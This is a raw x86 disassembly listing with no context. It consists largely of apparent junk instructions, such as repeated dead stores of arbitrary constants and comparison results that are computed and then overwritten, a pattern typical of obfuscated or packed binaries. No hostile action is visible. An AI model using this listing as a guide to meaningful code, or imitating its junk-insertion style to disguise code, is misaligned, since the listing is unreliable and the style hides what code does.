mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x124], eax
mov eax, 0xffff
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xd4], eax
mov dword [ebp - 8], 0x94a1888
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 8], edx
cmp dword [ebp - 8], ebx
jl 0x1001ada7
mov dword [ebp - 0x28], 0x868b
mov dword [ebp - 0x14], 0x7aced45b
mov dword [ebp - 0x10], 0xd3c095b6
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x18], 0x1ab4
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x18]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0xe0]
mov edx, dword [ebp - 0x14]
sub edx, eax
mov eax, dword [ebp - 8]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
cmp ecx, dword [ebp - 8]
jge 0x1001ad25
mov edx, edi
cmp dword [ebp - 8], ebx
jne 0x1001ad27
mov edx, ebx
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 8]
push 3
setne cl
cmp ecx, edi
mov eax, dword [ebp + eax*4 - 0xe0]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0xdc]
setne dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 8]
setne bl
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0xe0]
mov eax, dword [ebp - 0xd4]
imul eax, ebx
imul eax, eax, 0x6ca0
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setg dl
xor ecx, ecx
cmp edx, eax
pop edx
setge cl
xor ebx, ebx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x10], ebx
jmp 0x1001ad99
mov dword [ebp - 0x1c], 0xfffffffb
dec dword [ebp - 0x1c]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jle 0x1001ad8c
dec dword [ebp - 8]
jns 0x1001acb1
mov dword [ebp - 0x20], 0xd162c5d1
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x24], 0x17be1879
mov dword [ebp - 0x1c], 0xdbdf7cd9
mov dword [ebp - 8], ebx
jmp 0x1001add9
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x24c], 8
inc dword [ebp - 8]
cmp dword [ebp - 8], edx
jl 0x1001adc8
mov dword [ebp - 8], ebx
jmp 0x1001adf0
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x228], ebx
inc dword [ebp - 8]
cmp dword [ebp - 8], edx
jl 0x1001ade3
inc dword [ebp - 0x10]
push 2
mov dword [ebp - 0x10], ebx
pop ecx
cmp dword [ebp - 0x10], ecx
jg 0x1001ae32
mov eax, 0xd4dfbd6c
mov dword [ebp - 0x24], 0x73d2d672
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1d4], eax
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x1cc], eax
inc dword [ebp - 0x1c]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jle 0x1001ae08
mov dword [ebp - 8], 0x860b4ffb
mov dword [ebp - 0x24], 0xd66c4a87
mov dword [ebp - 0x24], 0xfffffffb
mov dword [ebp - 0x24], 0x33f2
mov dword [ebp - 0x14], ebx
jmp 0x1001ae60
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x240], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1001ae53
mov dword [ebp - 8], ebx
cmp dword [ebp - 8], ecx
jg 0x1001aebd
mov dword [ebp - 0x18], 0xdba33992
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], ebx
jl 0x1001aeb2
mov dword [ebp - 0x14], 0x95031536
xor ecx, ecx
mov dword [ebp - 0x30], 0x17d0b0a3
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x14]
imul edx, dword [ebp - 0x18]
mov eax, dword [ebp - 8]
cmp edx, eax
setne cl
mov dword [ebp - 0x30], ecx
dec dword [ebp - 0x18]
jns 0x1001ae7c
push 2
pop ecx
inc dword [ebp - 8]
cmp dword [ebp - 8], ecx
jle 0x1001ae6d
push 3
pop edx
mov dword [ebp - 8], ebx
jmp 0x1001aed2
mov dword [ebp - 0x24], 8
mov dword [ebp - 0x1c], edx
inc dword [ebp - 0x1c]
inc dword [ebp - 8]
cmp dword [ebp - 8], ecx
jle 0x1001aec2
mov dword [ebp - 0x10], 0x45d764ce
mov dword [ebp - 0x14], 0xde19d29b
mov dword [ebp - 0x24], 0xcdc345fe
mov dword [ebp - 0x10], edi
mov dword [ebp - 8], 0xb8e9646b
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x30], 0x8664a11
mov dword [ebp - 0x30], edi
mov dword [ebp - 4], ebx
jmp 0x1001af1d